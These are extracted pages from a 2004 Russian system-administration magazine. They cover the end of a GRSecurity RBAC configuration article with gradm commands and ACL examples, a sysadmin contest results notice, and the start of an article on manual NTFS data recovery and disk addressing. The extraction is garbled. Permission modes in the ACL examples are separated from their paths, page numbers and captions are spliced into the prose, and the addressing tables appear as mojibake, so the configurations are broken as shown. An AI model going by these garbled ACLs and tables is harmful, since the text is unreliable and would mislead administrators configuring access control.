! Смотрим протокол ядра, в моем случае – /var/log/kern.log. В нем будут примерно такие записи: Jul 22 14:57:00 admin kernel: grsec: Loaded grsecurity 2.0 Jul 22 14:57:02 admin kernel: grsec: denied access to hidden file /bin/ping by /bin/bash[bash:9717] uid/euid:0/0 gid/egid:0/0, parent /bin/su[su:14540] uid/euid:0/0 gid/egid:0/0 Jul 22 14:57:02 admin kernel: grsec: use of CAP_DAC_OVERRIDE denied for /bin/bash[bash:9717] uid/euid:0/0 gid/egid:0/0, parent /bin/su[su:14540] uid/euid:0/0 gid/egid:0/0 Jul 22 14:57:02 admin kernel: grsec: use of CAP_DAC_READ_SEARCH denied for /bin/bash[bash:9717] uid/euid:0/0 gid/egid:0/0, parent /bin/su[su:14540] uid/euid:0/0 gid/egid:0/0 Jul 22 14:57:05 admin kernel: grsec: denied access to hidden file /etc/ld.so.preload by /sbin/gradm[gradm:30057] uid/euid:0/0 gid/egid:0/0, parent /bin/bash[bash:9717] uid/euid:0/0 gid/egid:0/0 Jul 22 14:57:10 admin kernel: grsec: shutdown auth success for /sbin/gradm[gradm:30057] uid/euid:0/0 gid/egid:0/0, parent /bin/bash[bash:9717] uid/euid:0/0 gid/egid:0/0
После анализа логов исправляем /etc/grsec/acl и начинаем все сначала. Для справки – ACL на моем сервере составляет 2500 строк. В качестве примера приведу ACL для mysql. В моем случае mysql работает из-под пользователя mysql, посему необходима отдельная пользовательская роль: role mysql u subject / { / -CAP_ALL bind disabled connect disabled } subject /usr/sbin/mysqld o { / /etc /etc/grsec /etc/mysql/my.cnf /lib /proc/sys/kernel/version /tmp /usr/lib /usr/share/zoneinfo /usr/share/mysql /var/run/mysqld /var/lib/mysql /var/lib/mysql/* -CAP_ALL +CAP_SETGID +CAP_SETUID }
h
h r h r rx r rwcd rx r r w rw rw
Расскажу еще об одной проблеме, с которой мне пришлось столкнуться. Для подсчета трафика я использую NeTAMS. После обучения получил такой ACL для netams: subject /usr/bin/netams o { / /var
rwc
55
безопасность
}
/var/log /etc/ssh /etc/grsec /dev/grsec /proc/kcore /proc/sys /etc/shadow /etc/passwd /dev/mem /dev/kmem /dev/port /dev/log -CAP_ALL +CAP_NET_ADMIN bind disabled connect disabled
h h h h h h h h h h h h
Активировал GRSecurity, ошибок нет. Однако ночью сервер повис. В логах было чисто, поэтому определить причину не представлялось возможным, однако было понятно, что все дело в GRSecurity. Самое интересное, что днем он работал нормально, а зависал исключительно ночью. Причем зависал настолько быстро, что система не успевала ничего записать в лог. И только на третий или четвертый день в логе отразилась попытка NeTAMS выполнить CAP_DAC_OVERRIDE. После добавления строки +CAP_ DAC_OVERRIDE в ACL для NeTAMS зависания прекратились. Кроме полного обучения системы доступно также обучение отдельных ролей или субъектов. Например, веб-сервер работает из-под пользователя apache. Для обучения системы добавляем в /etc/grsec/acl следующие строки: role apache ul
Запускаем GRSecurity в режиме обучения (не полного!): # gradm –E –L /var/log/grsec
Через некоторое время отключаем:
После того как ошибки исчезнут совсем, для выполнения административных задач создадим специальную роль, которой будет разрешено все. Дописываем в /etc/grsec/acl: role sysadmin sA subject / { / rwcdmxi +CAP_ALL }
Чтобы специальная роль стала доступной, надо в той роли, откуда она будет вызываться, разрешить этот вызов. Допустим, заходим на сервер по ssh и через su получаем права пользователя root. Таким образом, за все действия теперь отвечает роль root. И чтобы в этом случае можно было перейти в роль sysadmin, надо в /etc/grsec/acl в описание роли root дописать следующую строку: role_transitions sysadmin
Также необходимо задать пароль для специальной роли sysadmin. Если этого не сделать, GRSecurity выдаст сообщение об ошибке: # gradm –E No password exists for special role sysadmin Run gradm –P sysadmin to set up a password for the role
Задаем пароль: # gradm –P Setting up grsecurity RBAC password Password: Re-enter password:
Активируем GRSecurity и переходим в роль sysadmin: # gradm –E # gradm –a sysadmin Password:
Теперь можно выполнять любые действия на сервере:
# gradm –D
формируем ACL: # gradm –L /var/log/grsec –O /etc/grsec/acl
Затем редактируем получившуюся роль, убирая добавленные gradm комментарии и букву l из описания роли. По такому же принципу происходит и обучение субъекта. Добавляем в нужную роль описание нужного субъекта, для которого необходимо получить ACL, например /bin/su: subject /bin/su lo { / h -CAP_ALL connect disabled bind disabled }
и аналогично запускаем режим обучения. Здесь есть один тонкий момент – в процессе обучения GRSecurity не исправляет допущенные человеком ошибки, поэтому запускать режим обучения для роли или субъекта, в которые уже чтото добавлено, не имеет смысла. Поэтому прежде чем запустить режим обучения, рекомендуется полностью очистить субъект или роль.
56
Ðèñóíîê 2
В заключение хочу сказать, что GRSecurity во много раз повышает защищенность компьютера, поэтому смело могу рекомендовать ее использование на всех серверах, работающих под управлением Linux. Отдельная благодарность Алексею Коршунову и Андрею Бешкову за помощь в подготовке статьи.
итоги конкурса
Больше месяца на страницах каталога программного обеспечения SOFT@Mail.Ru (http://soft.mail.ru) проводился конкурс для системных администраторов и пользователей «Сисадмин тоже человек». 3 августа 2004 года организаторы конкурса компании SoftLine и Mail.Ru подвели итоги. Победителями стали 7 системных администраторов и 5 авторов открыток. Напомним, что по условиям конкурса авторы открыток размещали свои творения в честь сисадминов, оставивших свои сообщения в Жалобной книге. Самые популярные жалобы принесли их авторам победу. Открытки разместились на сайте Открытки@Mail.Ru (http://cards.mail.ru). С этого сайта все желающие посылали поздравления своим знакомым сисадминам. Самые популярные открытки, лидирующие по числу отправлений, принесли победу и призы авторам. Целый месяц системные администраторы делились проблемами и забавными историями из своей богатой практики общения с пользователями, а дизайнеры и просто неравнодушные люди создавали для них тематические открытки. Присланные на сегодняшний день участниками конкурса материалы представляют собой практически готовый сборник баек, историй, остроумных высказываний, посвященных нелегкой работе системных администраторов. Подведение итогов и торжественное вручение призов происходило 3 августа в уютном кафе «Маскафе» на Цветном бульваре в Москве, где собрались победители, организаторы, спонсоры и самые активные участники форума. Победители получили призы от спонсоров конкурса (Учебный Центр SoftLine, интернет-магазин Allsoft.ru (http:// allsoft.ru), журнал «Системный администратор», портал Sysadmins.Ru, hardware-портал Jelezka.Ru, 3DNews). Главный приз для победителя Алана Габуева – бесплатное обучение программе подготовки Microsoft Certified Systems Administrator (MCSA 2003) – предоставил генеральный спонсор конкурса Учебный Центр SoftLine (http://softline.ru/edu).
Оказалось, что сайт для общения системных администраторов просто необходим, и месяц, отведенный на конкурс, – это очень-очень мало. Поэтому организаторы решили не закрывать сайт «Сисадмин тоже человек» после подведения итогов конкурса, чтобы дать возможность прочитать то, что уже опубликовано на сайте, и то, что еще может быть опубликовано. Теперь сайт «Сисадмин тоже человек» доступен по адресу http://sysadmin.mail.ru. Сайт снабжен более удобной навигацией, классификатором жалоб, поиском, удобным функционалом для добавления новых жалоб. Можно оставить отзыв на сообщения своих коллег, поставить оценку, просмотреть рейтинг. Работает форум сайта.
Из жалоб сисадминов «В общем, господа сисадмины! Позитивнее смотрите на жизнь и помните: «Юзвери существуют не для того, чтобы отравлять нам жизнь, а для того, чтобы своими выходками доводить нас до смеха. А смех, как известно, продляет жизнь...»
Организаторы конкурса «Сисадмин тоже человек».
58
образование
ВОССТАНОВЛЕНИЕ ДАННЫХ НА NTFS-РАЗДЕЛАХ Эта статья открывает цикл публикаций, посвященных ручному восстановлению данных на NTFS-дисках без использования автоматизированных «докторов», зачастую только добивающих «пациента» вместо его лечения. Мы коснемся всех аспектов проблемы – логические и физические дефекты, жесткие диски и съемные носители (CD-ROM, ZIP, магнитооптика, FLASH…), программные и аппаратные RAID-массивы и т. д. Сегодня мы рассмотрим основные концепции хранения и организации данных на жестких дисках и соберем необходимый инструментарий.
КРИС КАСПЕРСКИ Долгое время главным козырем противников NTFS был следующий аргумент – чем вы будете ее восстанавливать, если она умрет? А мрет она, как показывает практика, достаточно часто. При всей своей надежности NTFS не застрахована от потрясений. Ошибки оператора, вирусы, сбои питания, зависания ОС, дефекты поверхности, отказ электроники… С каждым днем человечество все сильнее и сильнее становится зависимо от компьютеров, объемы жестких дисков стремительно растут, а вместе с тем растет и ценность содержащихся на них данных, потеря которых зачастую невосполнима. Спрос рождает предложение и на рынке как грибы после дождя вылупляются фирмы, специализирующиеся на восстановлении данных, однако по-настоящему хороших специалистов можно встретить только в двух, ну от силы в трех из них, а все остальные лишь создают видимость кипучей деятельности, выставляя астрономические счета при довольно посредственном качестве восстановления. Но время кустарей уже ушло. Рабочая атмосфера изменилась. Хакеры разобрались со строением NTFS и документировали ее ключевые структуры. Начал формироваться достойный инструментарий для ручного восстановления. Наконец, за минувшее время накопился огромный опыт по борьбе за спасение данных, частью которого автор и хочет поделиться с читателями.
Если вдруг случился сбой и данные оказались утеряны… Прежде всего – не паникуйте! Заниматься восстановлением можно только на трезвую голову. Непродуманные, лихорадочные действия только усугубляют ваше и без того незавидное положение!
60
Не используйте никаких автоматизированных «лечилок», если полностью в них не уверены. Последствия такого лечения могут быть катастрофическими, а результаты «восстановления» – необратимыми. То же самое относится и к «специалистам», обитающим в фирмах непонятного происхождения и орудующих все теми же автоматизированными утилитами, которыми вы можете воспользоваться и без них. Некоторые пытаются создавать необходимый инструментарий самостоятельно. Чаще всего он оказывается неработоспособным еще с рождения, но зато какая гордость для фирмы! Какое впечатляющее средство демонстрации собственной крутизны! Поверьте, утилиты типа Easy Recovery и Get Data Back далеко не дураки писали (да еще и при участии непосредственных разработчиков оригинального драйвера NTFS, хорошо знающих все его тонкости и особенности поведения). Это лучшее из того, что есть на рынке, и пока еще никому не удалось их превзойти! (Разумеется, речь идет лишь об автоматизированном восстановлении.) Ничего не записывайте на восстанавливаемый диск и не позволяйте этого делать остальным приложениям! Если вы случайно удалили файл с системного диска, ни в коем случае не выходите из Windows «культурным» способом. Лучше нажмите RESET (при штатном завершении сеанса система сохраняет на диске текущую конфигурацию, существенно увеличивая риск необратимого затирания удаленного файла). Не пытайтесь «насиловать» сбойные сектора многократными чтениями – это лишь расширяет дефектную область на соседние сектора и здорово уродует магнитную головку, после чего здоровые сектора не смогут читаться тоже. Лучше выполните длинное (long) чтение с диска с отклю-
образование ченными контролирующими кодами, тогда контроллер возвратит все, что осталось от сектора (зачастую сбой затрагивает только несколько байт). Если винчестер издает подозрительные звуки типа постукивания или скрежета, немедленно выключите питание компьютера (опять-таки, не позволяя системе ничего писать на диск ), поскольку в любой момент винчестер может доломаться окончательно, и тогда ему уже никакой электронщик не поможет. Восстанавливайте SCSI (и в особенности RAID!) диски только на «родном» контроллере (различные контроллеры используют различные схемы трансляции адресов). Если же контроллер сдох, то либо ремонтируйте его, либо ищите точно такой же. С IDE-дисками в этом плане намного проще – их контроллеры более или менее стандартизованы, однако с дисками большого объема (свыше 528 Мб) уже начинается неразбериха и путаница, ставящая их в зависимость от конкретной BIOS и выбранного режима работы (NORMAL, LBA или LARGE). Если восстанавливаемый диск работает под управлением нестандартных драйверов типа Rocket, OnDisk и т. д., они должны присутствовать и на загрузочном диске (загрузочном CD), с которого производится восстановление. Наконец, если данные восстановить так и не удалось – не расстраивайтесь. Во всем в жизни надо видеть и хорошие стороны, даже когда ничего хорошего нет.
Структура диска. Базовые концепции Физически жесткий диск представляет собой запечатанную банку с одной или несколькими одно- или двухсторонними пластинами, насаженными на шпиндель. Чтение/запись данных осуществляется блоком магнитных головок, каждая из которых обслуживает одну из поверхностей пластины. Информация хранится в форме концентрических колец, называемых треками (track) или дорожками. Треки, расположенные на равном расстоянии от центра всех пластин, образуют цилиндр (cylinder). Фрагмент трека, образованный радиальным делением, называется сектором (sector). В современных винчестерах количество секторов на трек не остается постоянным и дискретно растет по мере удаления от центра пластины, поддерживая более или менее постоянные линейные размеры сектора. Треки и головки нумеруются начиная с нуля, сектора – начиная с единицы. Размер сектора для жестких дисков – 512 байт. Первой схемой адресации секторов, доставшейся жестким дискам в наследство от дискет, стала так называемая CHS-адресация, представляющая собой сокращение от Cylinder/Head/Sector (Цилиндр/Головка/Сектор) и возникшая под давлением экономических причин. Когда-то координаты адресуемого сектора напрямую соответствовали физической действительности, что упрощало (а значит, и удешевляло!) дисковый контроллер, не требуя от него никакой интеллектуальности. Помимо того, что такая схема адресации чудовищно неудобна для программистов (последовательное чтение диска растягивается на три вложенных цикла!), она еще и до неприличия косна! Количество секторов в треке должно быть постоянным для всего диска, а в новых винчестерах это не так. Поэтому для сохранения совместимости с существующим программным обеспечени-
№9(22), сентябрь 2004
ем дисковый контроллер виртуализует геометрию винчестера, что ставит нас в зависимость от выбранной схемы трансляции (а схема трансляции – дело сугубо внутреннее и потому не стандартизированное). Параметры диска, сообщаемые устройством и напечатанные на этикетке, всегда виртуальные, и никакой возможности узнать реальное положение дел у нас нет. IDE-диски благодаря наличию интегрированного контроллера внутри в наименьшей степени зависимы от внешнего мира и могут свободно мигрировать от одной машины к другой (при условии корректного поведения BIOS, но об этом чуть позже). Некоторые винчестеры поддерживают специальную ATA-команду «Initialize device parameters», устанавливающую текущую виртуальную геометрию диска, а точнее выбранное количество головок и число секторов на дорожку. Количество цилиндров вычисляется контроллером самостоятельно, на основании общего объема диска, который, кстати говоря, также можно изменять программными средствами (за это отвечает ATA-команда SET MAX ADDRESS). Некоторые драйвера (и BIOS) изменяют геометрию диска, привязывая винчестер к себе прочными брачными узами, и в другом окружении такой диск работать уже не будет, ну во всяком случае до установки правильной геометрии. Со SCSI-устройствами ситуация обстоит гораздо хуже, и диск соглашается работать только с тем контроллером, под которым он был отформатирован. Различные контроллеры используют различные схемы трансляции, и потому подключение диска к несовместимому контроллеру произвольным образом «перемешивает» сектора. Редактор диска с таким винчестером работать еще будет, а вот штатные средства операционной системы (и большинство «докторов») – нет. Продвинутые контроллеры автоматически замещают плохие сектора, либо сохраняя эту информацию в свой энергонезависимой памяти, либо записывая ее в инженерные сектора самого диска. Это еще сильнее привязывает накопитель к его контроллеру (правда, некоторые SCSI-диски выполняют переназначение секторов собственными средствами). Таким образом, выход SCSI-контроллера из строя фактически приравнивается к отказу самого диска. Никогда не приобретайте SCSI-контроллеры неизвестных производителей – в любой момент они могут кануть в Лету, и тогда поставки новых контроллеров прекратятся. Контроллеры, интегрированные в материнские платы, – это вообще песня. Ненадежные, ни с чем не совместимые… а что вы еще хотели за такую цену? Сложнее всего приходится RAID-массивам, схема трансляции адресов которых полностью определяется контроллером. Массивы уровня 1 (mirroring, или зеркала) чаще всего транслируются всквозную и без особых проблем могут быть перенесены на любой другой контроллер или даже подключены в обход его. Массивы остальных уровней (и в особенности RAID 3/RAID 5) на других типах контроллеров по обыкновению неработоспособны. Программные RAID, монтируемые Windows NT, содержат информацию о своей геометрии в системном реестре и не могут быть непосредственно перенесены на другие системы. Переустановка Windows NT (равно как и крах оной) уничтожает программный RAID. К
61
образование счастью, эта потеря обратима и в следующих статьях этого цикла мы раскроем секреты техники восстановления. Несмотря на то, что CHS-трансляция в настоящее время признана устаревшей (устройства, придерживающиеся спецификации ATA/ATAPI-6, принятой в июне 2001 года, уже не обязаны ее поддерживать), она до сих пор встречается во многих служебных структурах операционной системы (в частности, в таблице разделов и загрузочном секторе), поэтому имеет смысл остановиться на этом вопросе поподробнее, тем более что здесь есть о чем поговорить. На интерфейсном уровне адрес сектора передается следующим образом: Ëèñòèíã 1. Èíòåðôåéñ ñ IDE-äèñêîì â ðåæèìå CHS ïîðò 0172/01F2 0173/01F3 0174/01F4 0175/01F5 0176/01F6
çíà÷åíèå êîë-âî ñåêòîðîâ íîìåð ñåêòîðà (áèòû 0-7) íîìåð öèëèíäðà (áèòû 0-7) íîìåð öèëèíäðà (áèòû 8-15) íîìåð ãîëîâêè (áèòû 0-3), ïðèâîä íà øèíå (áèò 4), ðåæèì CHS/LBA (áèò 6)
Сервисные функции BIOS, напротив, адресуют диск слегка по-своему: Ëèñòèíã 2. Èíòåðôåéñ ñ ïðåðûâàíèåì INT13h BIOS
Ëèñòèíã 3. Èíòåðôåéñ ñ IDE-äèñêîì â ðåæèìå LBA
ðåãèñòð AL CH CL DH DL
ïîðò 0172/01F2 0173/01F3 0174/01F4 0175/01F5 0176/01F6
çíà÷åíèå êîë-âî ñåêòîðîâ äëÿ îáðàáîòêè íîìåð öèëèíäðà (áèòû 0-7) íîìåð öèëèíäðà (áèòû 6-7), íîìåð ñåêòîðà (áèòû 0-5) íîìåð ãîëîâêè ïðèâîä íà øèíå | 80h
Таким образом, на адресацию цилиндров BIOS отводит всего 10 бит, и потому максимальное количество цилиндров на диске ограничено всего 1024, что при четырехбитной адресации головок дает предельно достижимый объем диска в 512 ∗ 210 ∗ 26 ∗ 24 == 536 870 912 байт, или 512 Мб. Производители винчестеров перешагнули этот барьер уже много лет назад, и с той поры, кстати говоря, очень многое изменилось. MS-DOS ушла в небытие, а пришедшая ей на смену Windows работает с диском через собственный драйвер, и ограничения BIOS ее никак не касаются. Ну почти не касаются… Ведь первичную загрузку операционной системы осуществляет не кто иной как BIOS, и если системные компоненты расположены в секторах, находящихся за пределами 1024 сектора, операционная система попросту не будет загружена! Причем это относится ко всем операционным системам, а не только к критикуемой Windows! Для преодоления этого ограничения BIOS вводит дополнительный уровень трансляции (режим LARGE), увеличивая количество головок (благо BIOS выделяет для их адресации аж 8 бит, против 4 бит, выделяемых контроллером диска). Как следствие, предельно допустимый объем диска теперь составляет 512 ∗ 210 ∗ 26 ∗ 28 == 8 589 934 592 байт, или 8 Гб. Это в теории. На практике же большинство BIOS содержали грубые ошибки, и при работе с дисками свыше 2 Гб они либо банально зависали, либо теряли старшие разряды цилиндра, обращаясь к началу диска и необратимо гробя все служебные структуры. До сих пор многие вполне современные BIOS не позволяют адресовать более 64 головок (виртуальных), что ограничивает предельно допустимый объем диска все тем же 2 Гб. Поэтому при переуста-
62
новке Windows поверх старой версии на логический диск емкостью свыше 2 Гб она может перестать загружаться. Все очень просто! Когда система ставится на только что отформатированный диск, она располагает все свои файлы в самом начале, но по мере же заполнения диска область свободного пространства отодвигается все дальше к концу… Кстати говоря, отодвинуть файлы первичной загрузки может и дефрагментатор (или установка пакета обновления). Короче говоря, владельцам больших винчестеров настоятельно рекомендуется разбить свое хозяйство на несколько дисков, установив размер первого (загрузочного) раздела не более чем в 8 Гб, а лучше даже в 2 Гб. SCSI-устройства от рождения поддерживают прозрачный механизм логической адресации, или сокращенно LBA (Linear Block Address), последовательно нумерующий все сектора от 0 до последнего сектора диска. В IDE-накопителях LBA-адресация появилась только начиная с ATA-3, но быстро завоевала всеобщее признание. Разрядность адресации определяется устройством. В SCSI она от рождения 32-битная, а IDE-устройства вплоть до принятия спецификации ATA-6 были ограничены 28 битами, которые распределялись следующим образом:
çíà÷åíèå êîë-âî ñåêòîðîâ íîìåð ñåêòîðà (áèòû 0-7) íîìåð ñåêòîðà (áèòû 8-15) íîìåð ñåêòîðà (áèòû 16-24) íîìåð ñåêòîðà (áèòû 24-28), ïðèâîä íà øèíå (áèò 4), ðåæèì CHS/LBA (áèò 6)
Как можно видеть, 28-битная адресация обеспечивает поддержку дисков с объемом вплоть до 128 Гб, однако включение в BIOS поддержки LBA еще не отменяет 8 Гб ограничения, и номер последнего адресуемого цилиндра по-прежнему остается равным 1024 со всеми вытекающими отсюда последствиями. SCSI-дискам с их подлинно 32-битной адресацией несколько проще, и они поддерживают законные 2 Тб, а все потому, что управляются своим собственным BIOS, на которых не наложено никаких дурацких пережитков старины. Утвержденная ATA-6 48-битная адресация расширяет предельно допустимые размеры IDE-дисков до астрономических величин (конкретно – до 131 072 Тб), по крайней мере в теории. На практике же в Windows 2000 с пакетом обновления SP2 или более ранним отсутствует поддержка 48-разрядной LBA, и для работы с большими дисками необходимо обновить драйвер Atapi.sys и добавить к следующему ключу реестра HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services\atapi\Parameters параметр Enable BigLba типа DWORD со значением 1 (за подробностями обращайтесь к Microsoft Knowledge Base: 260910). Один физический диск может быть разбит на несколько логических, каждый из которых последовательно нумеруется от первого до последнего сектора, либо «сквозной» адресацией, либо по CHS-схеме. В одних случаях Windows требует задания абсолютного номера сектора (который на самом деле никакой не абсолютный, а относительный, отсчитывающийся от стартового сектора раздела), в других – ожидает увидеть «святую троицу» (ци-
образование линдр, головку, сектор), опять-таки отсчитывающуюся от стартового сектора. Так, если раздел начинается с адреса 123/15/62, то первой его головкой все равно будет головка 0! На уровне файловой системы операционная система адресует диск кластерами (cluster). Каждый кластер образован непрерывной последовательностью секторов, количество которых равно степени двойки (1, 2, 4, 8…). Размер кластера задается на этапе форматирования диска и в дальнейшем уже не меняется. Основное назначение кластеров – уменьшение фрагментации файлов и уменьшение разрядности служебных файловых структур. В частности, FAT16 нумеруют кластеры двойными словами и потому может адресовать не более 10000h∗sizeof(cluster) дискового пространства. Легко видеть, что уже на 80 Гб диске размер кластера составляет 1 Мб, и десяток файлов по одному байту каждый сожрут 10 Мб! Впечатляет, не правда ли? NTFS, оперирующая 64-битными величинами, не страдает подобными ограничениями, и типичная
величина кластера, выбираемая по умолчанию, составляет всего 4 сектора. В отличие от секторов, кластеры нумеруются, начиная с нуля.
Инструменты Даже если у вас золотые руки и светлая голова, при восстановлении данных ни за что не обойтись без инструментов. В идеале вы должны быть готовыми разработать все необходимое самостоятельно. Восстановление данных – довольно кропотливая и рутинная работа, и при реанимации 80 – 120 Гб диска без автоматизации никуда. Недостаток всех известных дисковых докторов – отсутствие встроенного языка или хотя бы развитой системы макрокоманд. Естественно, прежде чем что-то автоматизировать, необходимо разобраться в ситуации, и выполнить эту работу может только человек. Компьютеру доверять ее ни в коем случае нельзя – для этого он недостаточно интеллектуален. Только человек может надежно отличать, где лежат актуальные данные, а где мусор.
Первичная диагностика аварии Òàáëèöà 1. Ñèìïòîìû îñíîâíûõ çàáîëåâàíèé æåñòêèõ äèñêîâ
№9(22), сентябрь 2004
63
образование Однако не стоит впадать и в другую крайность, в очередной раз изобретая велосипед. Среди представленных на рынке утилит есть практически все необходимое. Естественно, большинство распространяются по коммерческой схеме, и за них приходится платить. К сожалению, многие из дорогостоящих инструментов не оправдывают своих ожиданий, и к выброшенным на ветер деньгам примешивается горечь утраты по безвозвратно потерянным данным. Автор протестировал большое количество разнообразных программных продуктов и ниже описывает наиболее предпочтительные из них, проверенные энтропией и временем.
Загрузочная дискета Средства восстановления и диагностики, расположенные на основном жестком диске, годятся разве что для обучения, а для реальной работы они бесполезны. Даже если сбой окажется не настольно серьезным, чтобы воспрепятствовать загрузке Windows, попытка «лечения» диска в многозадачной среде носит весьма непредсказуемый характер. Записывая что-либо на диск в обход драйвера файловой системы, вы здорово рискуете. Допустим, вы восстанавливаете удаленный файл, обновляя MFT (Master File Table – святая святых файловой системы NTFS), а в это время система создает/удаляет другой файл, обращаясь к тому же самому сектору, что и вы. Ну и что произойдет в результате? Правильно – файл, а, возможно, и весь дисковый том, умрет окончательно. К тому же система блокирует активные исполняемые файлы и файлы данных, что делает невозможным их восстановление даже при наличии архивной копии. Про борьбу с вирусами лучше вообще не говорить. Многие вирусы, обосновавшись в системе, блокируют запуск антивирусных программ или умело скрываются от них, не давая себя удалить или обнаружить. Если же в результате сбоя перестала загружаться Windows, вы вообще остаетесь ни с чем… Главное преимущество FAT16/32 по сравнению с NTFS – это, бесспорно, возможность загрузки с системной дискеты. MS-DOS 7.0 поддерживает длинные имена, позволяя скопировать с восстанавливаемого диска все файлы, которые только доступны штатному драйверу операционной системы. Но с NTFS такой номер уже не пройдет! Однако никто не запрещает нам подключить восстанавливаемый диск «вторым» к системе с работоспособной NT. Для этого даже не обязательно иметь два компьютера. Просто подключите к своему компьютеру еще один винчестер, установите на него NT и наслаждайтесь жизнью. При этом следует учитывать, что информация о программных RAID, созданных Windows NT 4.0 или более ранними версиями, содержится в реестре, и поэтому при переносе диска на другую систему оказывается недоступна. Динамические диски, появившиеся в Windows 2000, хранят свои атрибуты в фиксированных местах диска, и поэтому не привязаны к своей родной системе. С шифрованными файлами дела обстоят не в пример хуже. Ключ шифровки хранится в недрах пользовательского профиля, и на другой системе извлечение файлов оказывается невозможным. Причем создание пользователя с таким же именем/паролем не решает проблемы, т.к. ключ генерируется системой случайным обра-
64
зом и не может быть воспроизведен. Ничего не остается, как действовать тупым перебором. Некоторые типы разрушений файловой системы способны завешивать оригинальный NTFS-драйвер или выбрасывать синий экран смерти, что создает серьезные проблемы (чтобы восстановить диск, мы должны запустить определенный инструментарий, а чтобы запустить инструментарий, нам надо загрузить Windows, а вот это мы как раз сделать и не можем!). Попробуйте подключить такой диск к системе, не поддерживающий NTFS (например, Windows 98 или MS-DOS), естественно, выбранные вами утилиты восстановления должны быть совместимы с ней. Или – как вариант – натравите на такой диск Linux. Драйвер Linux игнорирует вспомогательные структуры файловой системы (такие, например, как файл транзакций) и потому успешно монтирует диск, даже когда в них содержится сплошной мусор. Благодаря усилиям Марка Руссиновича, создавшего замечательную утилиту NTFSDOS Professional, мы можем работать с NTFS-разделами в среде Windows 9x/MS-DOS. Однако это отнюдь не самостоятельный драйвер, а всего лишь обертка вокруг штатного NTFS.SYS, эмулирующая необходимое окружение и диспетчеризующая файловые запросы. С одной стороны, это хорошо тем, что мы имеем полноценную поддержку NTFS, на 100% совместимую с нашей версией операционной системы (NTFS.SYS извлекается как раз оттуда), в то время как драйвера сторонних производителей (и в частности драйвер Linux) реально работают лишь на чтение, да и то кое-как (потоки и прочие «вкусности» NTFS начисто игнорируются). С другой стороны, если порушенный диск завешивает NTFS.SYS, он завесит и Руссиновича! Однако с такими проблемами приходится сталкиваться не так уж и часто, поэтому полезность этой утилиты воистину неоценима. Демонстрационная копия NTFSDOS Professional, доступная для бесплатного скачивания (http://www.sysinternals.com/files/NTFSProR.exe), поддерживает лишь чтение NTFS-дисков, а за возможность записи приходится платить (несите свои денежки на http:// www.winternals.com – платный вариант www.sysitnernals.com). Впрочем, поскольку NTSFDOS Professional всего лишь обертка, после небольшой доработки напильником она с готовностью соглашается и читать, и писать. (Внимание! Никто не говорит о взломе! Мы ничего не ломаем! Напротив, мы создаем, наращивая функциональность программы!). Кратко об установке и сопутствующих проблемах. Для начала вам потребуется создать системную дискету, что легче всего осуществить средствами Windows 98. Русская версия MSDOS даже в минимальном комплекте поставки (io.sys + command.com) занимает намного больше места, чем рассчитывал Руссинович, и NTFSDOS Professional на стандартную 3" дискету уже не вмещается. Поэтому приходится устанавливать NTFSDOS Professional на чистый диск (точнее говоря, инсталлятор создает таких дисков два – на первый помещает NTFS-драйвер, а на второй – chkdsk.exe). Загрузившись с системной дискеты, выньте ее из дисковода (естественно, command.com должен быть предварительно скопирован на виртуальный диск), вставьте первый диск, сформированный инсталлятором и наберите в командной строке NTFSPRO.EXE.
образование Как вариант можно воспользоваться загрузочным диском от компании Active@Data Recovery Software (http:// download2.lsoft.net/NtfsFloppySetup.exe) или загрузочным CD-ROM диском от нее же (http://download2.lsoft.net/boot-cdiso.zip). Центральным звеном каждого из них является независимый NTFS-драйвер, работающий из под MS-DOS и монтирующий NTFS-тома даже при полном разрушении вспомогательных файловых структур и серьезном повреждении таблицы MFT и полном разрушении корневого каталога. Драйвер самостоятельно сканирует диск в поисках уцелевших записей в MFT, показывая в том числе и удаленные файлы, предлагая их восстановить. Естественно, возможность записи на диск реализована только в коммерческой версии, а демонстрационная позволяет лишь скопировать файлы на внешний носитель (жесткий диск, размеченный под FAT или дискету). Динамические диски, к сожалению, не поддерживаются. Помимо этого в комплект входит утилита для создания/восстановления образа диска, средство избавления диска от данных (полезно, когда вы сдаете диск с конфиденциальными данными назад продавцу), программу для работы с патрициями1 (восстановление разрушенных таблиц разделов и их заблаговременная архивация), и автономный энурез – утилиту unerase для NTFS. Если приобретение второго жесткого диска вам не по карману, а возможности MS-DOS-загрузчиков вас не устраивают, воспользуйтесь другой утилитой Марка Руссиновича – ERD Commander, позволяющий запускать усеченную версию Windows с дискет (5 штук) или CD-диска. В настоящее время ERD Commander распространяется только на коммерческом основании, хотя в сети до сих пор можно найти предыдущие, бесплатные версии, хотя их функциональные возможности весьма ограниченны. В частности, опробованный мной EDR Commander 2000 вызывал смесь разочарования с удивлением. Во-первых, он забросил на дискету многопроцессорное ядро (а у меня однопроцессорная машина!). Как следствие, при загрузке с дискеты Windows не нашла нужного ядра и умерла еще в зачатье. Пришлось менять ядро вручную. Затем всплыли и другие ошибки инсталлятора, и пришлось немало попотеть, прежде чем Windows все-таки загрузилась. Подготовленный инсталлятором образ CD-ROM также был в сильно разобранном состоянии – просто папка с файлами и bootsector.bin, который еще не каждой утилитой прожжешь (я пользовался CDRTOOLS, также подходит и CDRWIN, а вот популярный Нерон, сжигающий Рим, для этой цели, увы, непригоден). Тем не менее ERD Commander стоит всех мучений! С его помощью вы можете: менять администраторский пароль в системе, редактировать реестр упавшей системы, управлять сервисами и драйверами, восстанавливать удаленные файлы, копировать и модифицировать любые системные и пользовательские файлы (в том числе и по сети), редактировать таблицу разделов и управлять динамическими дисками, сравнивать файлы упавшей и рабочей системы, производить откат системы в ра1
2
бочее состояние и многое-многое другое. К сожалению, непосредственными средствами для восстановления разрушенного диска ERD Commander не располагает, и в основном он применим для реанимации операционной системы (правда, из-под ERD Commander вы можете вызвать дискового доктора или любую другую Windows-утилиту, в таком случае никакого смысла в его приобретении нет – второй винчестер будет дешевле). Начиная с Windows 2000, Microsoft наконец-то включила в операционную систему некоторую пародию на загрузчик, способную стартовать с CD-ROM и поддерживающую NTFS. Называется эта штука консоль восстановления, или по-английски Recovery Console. Это действительно консоль, ничего не знающая о GUI и способная запускать только консольные приложения (типа chkdsk.exe и подобных им). Для ее активации загрузитесь с дистрибутивного CDROM и сделайте вид, что хотите переустановить систему, но на определенном этапе установки нажмите <R> для вызова консоли восстановления. Вас запросят пароль администратора (если вы его забыли или системный реестр поврежден, войти в консоль не удастся!), при успешной регистрации запустится командный интерпретатор, позволяющий (теоретически!) скопировать уцелевшие файлы на другой диск. Практически же по умолчанию доступна только папка WINNT, причем копирование на съемные носители запрещено. Хорошенькое начало! 